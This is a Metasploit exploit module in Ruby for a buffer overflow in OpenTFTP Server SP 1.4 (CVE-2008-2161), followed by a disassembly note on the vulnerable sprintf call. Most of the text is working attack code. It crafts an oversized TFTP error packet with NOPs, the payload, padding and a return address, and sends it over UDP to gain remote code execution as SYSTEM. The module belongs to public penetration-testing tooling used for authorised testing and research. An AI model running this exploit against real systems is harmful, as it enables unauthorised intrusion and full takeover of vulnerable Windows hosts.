## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow', 'Description' => %q{ This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable condition triggers when the TFTP opcode is configured as an error packet, the TFTP service will then format the message using a sprintf() function, which causes an overflow, therefore allowing remote code execution under the context of SYSTEM. The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone', or 'Service'). By default the target is set to 'Service' because that's the default configuration during OpenTFTP Server SP 1.4's installation. }, 'Author' => [ 'tixxDZ', #Initial discovery, poc 'steponequit' #Metasploit module ], 'References' => [ ['CVE', '2008-2161'], ['OSVDB', '44904'], ['BID', '29111'], ['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 5000, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ #.bss section that is overwritten [ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ], [ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ] ], #TFTP server is installed as an NT service by default 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Jul 05 2008')) register_options( [ Opt::RPORT(69), ], self.class) end def exploit if target.name =~ /OpenTFTP 1.4 Stand Alone/ # This hits msvcrt.printf() sploit = "\x00\x05" + make_nops(10) sploit << payload.encoded sploit << rand_text_alpha(20517 - payload.encoded.length) sploit << [target['Ret']].pack('V') sploit << Rex::Text.rand_text_alpha(1469) elsif target.name =~ /OpenTFTP 1.4 Service/ #This hits time() sploit = "\x00\x05" + make_nops(10) sploit << payload.encoded sploit << rand_text_alpha(20445 - payload.encoded.length) sploit << [target['Ret']].pack('V') sploit << Rex::Text.rand_text_alpha(1545) end # Send the malicious packet connect_udp udp_sock.put(sploit) handler disconnect_udp end end =begin NOTE: If the module is run on a OSX box, you will probably see this error: [-] Exploit exception: Message too long That's OSX for you. The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call: .text:004022F6 mov eax, ds:dword_41B370 .text:004022FB movzx eax, word ptr [eax] .text:004022FE mov [esp+5C8h+var_5C8], eax .text:00402301 mov [ebp+var_550], 0FFFFFFFFh .text:0040230B call ntohs .text:00402310 sub esp, 4 .text:00402313 cmp ax, 5 .text:00402317 jnz short loc_40236F ... When the value matches 0x05, we then head down to a sprinf() function to generate an error message, which causes an overflow: .text:00402330 mov eax, ds:dword_41B370 .text:00402335 add eax, 4 .text:00402338 mov [esp+5C8h+var_5BC], eax .text:0040233C mov [esp+5C8h+var_5C0], edx .text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s" .text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394 .text:0040234F call sprintf And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining control. In source: http://pastebin.com/QgZDwcan else if (ntohs(datain->opcode) == 5) // Line 224 { sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer); logMess(req1, 1); ..... so on ..... You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't give you a better crash than this one. =end